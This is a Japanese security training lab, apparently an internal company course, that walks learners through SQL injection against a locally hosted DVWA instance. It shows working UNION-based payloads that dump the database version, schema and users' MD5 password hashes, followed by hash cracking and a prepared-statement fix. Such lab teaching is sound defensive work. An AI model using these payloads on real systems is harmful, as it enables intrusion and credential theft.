🚀 ニフティ’s Notion

🛡️ 【セキュリティ2024 #4】Webセキュリティ演習

🚨
本演習では、ローカルPC内の仮想環境に構築したWebアプリケーションを皆さんに攻撃してもらいます。
不正な目的で実行すると不正アクセス禁止法をはじめとする法律抵触する可能性があるものが含まれます。
絶対に、 他人のサーバーやサービスで試すことはしないでください

🎁 今回使う題材

  • Damn Vulnerable Web Application(DVWA) は、その名の通り脆弱性が含まれるWebアプリケーションです。これに攻撃することで、脆弱性がどういうものか体感することができます。PHPのソースコードを見ることができるため、どのようにして脆弱性が生まれているのか見ることができたり、どのような対策を取ればいいのかを理解したりすることができます。
🚨
脆弱性が含まれますので、誰でもアクセスできるところにデプロイするのは絶対にやめましょう。

💫演習準備

  1. 🚫 Post not found で準備したコンテナを起動し、ブラウザで http://localhost/ にアクセスすると、以下のようなログイン画面が表示されます。
    Usernameにadmin、Passwordにpasswordを入力してLoginをクリックしてください。
    image block
  1. 初回ログイン時は、Database Setupの画面が表示されます。
    Create / Reset Databaseをクリックし、データベースを初期化しましょう。
    image block
  1. 画面下部にSetup successfulと表示されれば成功です。
    image block
  1. 再度ログイン画面が表示されるので、もう一度、Usernameにadmin、Passwordにpasswordを入力してLoginボタンをクリックすると以下のような画面が表示されます。
    image block
  1. 左のメニューからDVWA Securityをクリックすると以下のような画面が表示されます。セキュリティレベルを選ぶことができます。impossibleだと、全ての脆弱性に対して対策がとられており、Lowは全く対策がとられていない状態になります。ここではLowを選んでSubmitします。
    image block

SQLインジェクションとは?

Webアプリケーションでは、データベースに情報を蓄積したり取り出したりしています。このデータベースの操作を行う際に使う言語がSQLです。

簡単にいうとSQLを使ってデータベースに問い合わせをかけると、データを保存したり、取り出したりすることができます。詳しくはデータベース回でSQLについて解説しますので、ここでは詳しく立ち入りません。

SQLインジェクションとは、Webアプリケーションに実装されているSQL文を不正に書き換えることで、意図しない処理を走らせる攻撃をいいます。

SELECT文について
  • データベースから情報を取得するSQL文がSELECTです。
  • 基本的な文法は以下の通りです。
    SELECT [取得したい要素] FROM テーブルの名前 WHERE 条件;
  • テーブルは以下の構成になっています。
    image block

👀どういうWebアプリケーションか見てみる

  1. どのようなアプリケーションを使うか見てみましょう。左のメニューからSQL Injectionをクリックすると、User IDを入力するテキストボックスとSubmitというボタンが出てきます。
    image block
  1. 試しにUser IDに1を入力してSubmitしてみると、IDが1のユーザーのFirst nameがadmin, Surnameがadminだということがわかりました。
    image block
  1. 続けて2を入力してSubmitしてみると、IDが2のユーザーのFirst nameはGordon、SurnameはBrownだということがわかります。
    image block
  1. 1-3の結果、IDを入力しSubmitすることで、指定したユーザーのFirst nameとSur nameが表示されるシンプルなアプリケーションだということがわかります。存在するユーザーのIDは1から5です。
    IDが3のユーザーのFirst nameとSurnameを調べてみましょう。
    IDが4のユーザーのFirst nameとSurnameを調べてみましょう。
    IDが5のユーザーのFirst nameとSurnameを調べてみましょう。
    IDが999のユーザーのFirst nameとSurnameを調べてみましょう。

⚔️SQLインジェクションをしてみよう

  • User IDに以下のような入力を入れてみましょう。想定としては、 1' OR 'a'='a というIDを持つユーザーが取り出されるはずです。
    1' OR 'a'='a
    結果

    1' OR 'a'='aというIDを持つユーザーが表示されるはずなのに、情報が全部出てきてしまった!

    image block
    何故こうなったのか?

    画面下部のView Sourceをクリックしてみましょう。すると以下のようにphpのソースコードを表示することができます。

    表示されるソースコード
    <?php
    
    if( isset( $_REQUEST[ 'Submit' ] ) ) {
        // Get input
        $id = $_REQUEST[ 'id' ];
    
        // Check database
        $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    
        // Get results
        while( $row = mysqli_fetch_assoc( $result ) ) {
            // Get values
            $first = $row["first_name"];
            $last  = $row["last_name"];
    
            // Feedback for end user
            echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
        }
    
        mysqli_close($GLOBALS["___mysqli_ston"]);
    }
    
    ?>

    このWebアプリケーションでは以下のようなSELECT文が実行されています。$idにテキストボックスに入力した値がそのまま入ります。

    SELECT first_name, last_name FROM users WHERE user_id = '$id';

    WHERE句に注目してみましょう。WHEREは条件文で、user_idが$idのものだけ取り出すという意味になります。

    WHERE user_id = '$id'

    今回は1' OR 'a'='aを入力したので、$idは1' OR 'a'='aに置き換わります。$idを置き換えると以下の通りになります。

    SELECT first_name, last_name FROM users WHERE user_id = '1' OR 'a' = 'a'

    すると条件は「ユーザーIDが1に一致する」か「’a’と’a’が同じ」に合致するものを取り出してくださいということになります。しかし「’a’と’a’が同じ」は常に成り立ってしまうので、user_id = '1'は無視され、ユーザーIDに関わらず全てのデータを取り出すことになってしまいます。これでは、開発者の意図したSQL文になりません。SQL文の一部に文字列を注入して、意図しないSQL文を実行させる攻撃がSQLインジェクションです。

演習
DBバージョンの取得
' union select version(),null #
結果

First nameにDBとバージョン名が表示された

ID: ' union select version(),null #
First name: 10.1.26-MariaDB-0+deb9u1
Surname:
ホスト名、DB名の取得
' union select @@hostname,database() #
結果

First nameにホスト名(コンテナID)、Surnameにデータベース名が表示された

ID: ' union select @@hostname,database() #
First name: b37ff8c4bb04
Surname: dvwa
ユーザー名の取得
' union select user(), 'A' #
結果

First nameにappというユーザーで入っていることがわかった。

ID: ' union select user(), 'A' #
First name: app@localhost
Surname: A

🔒ハッシュ化されたパスワードを抜き取る

🏓どういうテーブルがあるか調べる
  • User IDに以下の文字列を入力して、テーブルを調べてみます。
    ' union select table_name,table_schema from information_schema.tables where table_schema = 'dvwa' #
  • 以下のように2つのテーブル(guestbook, users)が表示されました。
    ID: ' union select table_name,table_schema from information_schema.tables where table_schema = 'dvwa' #
    First name: guestbook
    Surname: dvwa
    ID: ' union select table_name,table_schema from information_schema.tables where table_schema = 'dvwa' #
    First name: users
    Surname: dvwa
  • usersテーブルにユーザー情報が入っていると推測されるので、userテーブルのカラム名も参照してみましょう。
    ' union select table_name,column_name from information_schema.columns where table_schema = 'dvwa' and table_name = 'users' #
  • 以下のようにカラムが表示されました。カラムにはuser_id, first_name, last_name, user, password, avatar, last_login, failed_loginが存在します。
    ID: ' union select table_name,column_name from information_schema.columns where table_schema = 'dvwa' and table_name = 'users' #
    First name: users
    Surname: user_id
    ID: ' union select table_name,column_name from information_schema.columns where table_schema = 'dvwa' and table_name = 'users' #
    First name: users
    Surname: first_name
    ID: ' union select table_name,column_name from information_schema.columns where table_schema = 'dvwa' and table_name = 'users' #
    First name: users
    Surname: last_name
    ID: ' union select table_name,column_name from information_schema.columns where table_schema = 'dvwa' and table_name = 'users' #
    First name: users
    Surname: user
    ID: ' union select table_name,column_name from information_schema.columns where table_schema = 'dvwa' and table_name = 'users' #
    First name: users
    Surname: password
    ID: ' union select table_name,column_name from information_schema.columns where table_schema = 'dvwa' and table_name = 'users' #
    First name: users
    Surname: avatar
    ID: ' union select table_name,column_name from information_schema.columns where table_schema = 'dvwa' and table_name = 'users' #
    First name: users
    Surname: last_login
    ID: ' union select table_name,column_name from information_schema.columns where table_schema = 'dvwa' and table_name = 'users' #
    First name: users
    Surname: failed_login
🔑パスワードを出力する
  • userテーブルのカラムのうち、userとpasswordを指定して、どのユーザーのパスワードかわかりやすく表示してみましょう。
    ' union select user,password from dvwa.users #
  • 出力結果は以下のようになります。この結果からpasswordに格納されたデータはパスワードのmd5ハッシュ値と推測できます。基本的にWebアプリケーションではデータベースに直接パスワードを保存することはなく、元々のパスワードの値がわからないようにハッシュ化して保存しています。
    ID: ' union select user,password from dvwa.users #
    First name: admin
    Surname: 5f4dcc3b5aa765d61d8327deb882cf99
    ID: ' union select user,password from dvwa.users #
    First name: gordonb
    Surname: e99a18c428cb38d5f260853678922e03
    ID: ' union select user,password from dvwa.users #
    First name: 1337
    Surname: 8d3533d75ae2c3966d7e0d4fcc69216b
    ID: ' union select user,password from dvwa.users #
    First name: pablo
    Surname: 0d107d09f5bbe40cade3de5c71e9e9b7
    ID: ' union select user,password from dvwa.users #
    First name: smithy
    Surname: 5f4dcc3b5aa765d61d8327deb882cf99
    ユーザー md5ハッシュ化されたパスワード
    admin 5f4dcc3b5aa765d61d8327deb882cf99
    gordonb e99a18c428cb38d5f260853678922e03
    1337 8d3533d75ae2c3966d7e0d4fcc69216b
    pablo 0d107d09f5bbe40cade3de5c71e9e9b7
    smithy 5f4dcc3b5aa765d61d8327deb882cf99
🤺パスワード解析
  • パスワードクラッカーで解析することもありますが、今回は簡易にハッシュ値から元の入力値を調べるWebサービスを使用します。このようなWebサービスはいくつかありますが、今回は以下を使用します。
  • 今回はadmin(管理者)のハッシュ化されたパスワード(5f4dcc3b5aa765d61d8327deb882cf99)を戻してみます。結果は以下のようにadminのパスワードは「password」ということがわかりました。
image block
やってみましょう
ユーザー md5ハッシュ化されたパスワード
admin 5f4dcc3b5aa765d61d8327deb882cf99
gordonb e99a18c428cb38d5f260853678922e03
1337 8d3533d75ae2c3966d7e0d4fcc69216b
pablo 0d107d09f5bbe40cade3de5c71e9e9b7
smithy 5f4dcc3b5aa765d61d8327deb882cf99
以下のmd5ハッシュ値から、ユーザーgordonbのパスワードを求めてみましょう。
e99a18c428cb38d5f260853678922e03
答え
以下のmd5ハッシュ値から、ユーザー1337のパスワードを求めてみましょう。
8d3533d75ae2c3966d7e0d4fcc69216b
答え
以下のmd5ハッシュ値から、ユーザーpabloのパスワードを求めてみましょう。
0d107d09f5bbe40cade3de5c71e9e9b7
答え
以下のmd5ハッシュ値から、smithyのパスワードを求めてみましょう。
5f4dcc3b5aa765d61d8327deb882cf99
答え

💂 SQLインジェクションに対する対策例

  1. 左メニューからDVWA SecurityでImpossibleを選び、Submitします。これで脆弱性に対して対策がとられている状態になります。
    image block
  1. 再び、左メニューからSQL Injectionを選び、これまでのSQLインジェクションが効くかどうか試してみましょう。
image block
🤔どうして今までの攻撃が効かなくなったのか?
  • どうして効かなくなったのでしょうか?画面下部のView Sourceでコードを見てみると以下のような実装になっています。
Impossibleの時のソースコード
<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();
        $row = $data->fetch();

        // Make sure only 1 result is returned
        if( $data->rowCount() == 1 ) {
            // Get values
            $first = $row[ 'first_name' ];
            $last  = $row[ 'last_name' ];

            // Feedback for end user
            echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

Lowの時のソースコード
<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    mysqli_close($GLOBALS["___mysqli_ston"]);
}

?>

抜粋すると以下のようにコードが変わっています。

このようにSQL文を直接書く場合には、SQLインジェクションが起きないよう、SQL文、変数の埋め込みには注意しましょう。
🚨
他にも、応答ページから情報を直接奪うのではなく、応答ページの違い(応答時間の差、データの違い)から情報を奪う攻撃である、ブラインドSQLインジェクションもあるので注意しましょう。

🧹お片付け

  • 以下のコマンドでコンテナIDを調べてください。
    docker ps --filter ancestor="vulnerables/web-dvwa"
  • 以下のコマンドでコンテナを止めましょう。
    docker stop (コンテナID)